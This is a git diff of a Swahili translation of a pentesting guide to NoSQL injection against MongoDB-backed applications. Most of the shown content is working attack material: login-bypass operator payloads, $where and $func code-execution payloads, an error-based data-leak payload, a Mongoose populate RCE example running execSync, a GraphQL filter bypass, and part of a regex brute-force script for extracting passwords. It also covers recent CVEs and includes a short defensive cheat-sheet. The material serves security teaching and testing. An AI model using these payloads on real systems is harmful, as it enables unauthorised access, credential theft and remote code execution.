diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 1ebb4d71a..f613f529a 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,9 +4,9 @@ ## Exploit -Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter\[arrName]=foo._ +Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter[arrName]=foo._ -Mifumo ya uhalifu inategemea kuongeza **Operator**: +Ushambuliaji unategemea kuongeza **Operator**: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter @@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` -### Mipango ya kuzunguka uthibitisho wa msingi +### Mipango ya kuzunguka uthibitishaji wa msingi **Kutumia si sawa ($ne) au kubwa ($gt)** ```bash @@ -78,7 +78,7 @@ in JSON ``` ### PHP Arbitrary Function Execution -Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/). +Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi isiyo na mipaka kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python "user":{"$func": "var_dump"} ``` @@ -114,9 +114,43 @@ Injiza `throw new Error(JSON.stringify(this))` katika kipengele cha `$where` ili ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## CVE Mpya & Matukio ya Uhalifu wa Kweli (2023-2025) + +### Rocket.Chat isiyo na uthibitisho blind NoSQLi – CVE-2023-28359 +Toleo ≤ 6.0.0 lilifunua njia ya Meteor `listEmojiCustom` ambayo ilituma kitu cha **selector** kinachodhibitiwa na mtumiaji moja kwa moja kwa `find()`. Kwa kuingiza waendeshaji kama `{"$where":"sleep(2000)||true"}` mshambuliaji asiye na uthibitisho angeweza kujenga oracle ya wakati na kuhamasisha hati. Kosa hili lilirekebishwa katika 6.0.1 kwa kuthibitisha umbo la selector na kuondoa waendeshaji hatari. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +Wakati `populate()` inapotumika na chaguo la `match`, Mongoose (≤ 8.8.2) ilikopi kitu hicho kama ilivyo *kabla* ya kutuma kwa MongoDB. Kutoa `$where` hivyo kulifanya JavaScript ifanye kazi **ndani ya Node.js** hata kama JS ya upande wa seva ilikuwa imezimwa kwenye MongoDB: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +Kipande cha kwanza (8.8.3) kilizuia `$where` ya kiwango cha juu, lakini kuikatia chini ya `$or` kulipita kichujio, na kusababisha CVE-2025-23061. Tatizo lilirekebishwa kabisa katika 8.9.5, na chaguo jipya la muunganisho `sanitizeFilter: true` lilianzishwa. + +### GraphQL → Mchanganyiko wa Mongo +Wakandarasi wanaosambaza `args.filter` moja kwa moja katika `collection.find()` bado wana hatari: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod). + +## Defensive Cheat-Sheet (updated 2025) + +1. Ondoa au kata funguo yoyote inayohanza na `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Zima JavaScript ya upande wa seva kwenye MongoDB inayohudumiwa mwenyewe (`--noscripting`, default katika v7.0+). +3. Prefer `$expr` na wajenzi wa aggregation badala ya `$where`. +4. Thibitisha aina za data mapema (Joi/Ajv) na kata arrays ambapo scalars zinatarajiwa ili kuepuka hila za `[$ne]`. +5. Kwa GraphQL, tafsiri hoja za filter kupitia orodha ya ruhusa; kamwe usieneze vitu visivyoaminika. + ## MongoDB Payloads -Orodha [kutoka hapa](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,9 +260,10 @@ for u in get_usernames(""): get_password(u) ``` ## Tools - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## References @@ -236,5 +272,7 @@ get_password(u) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}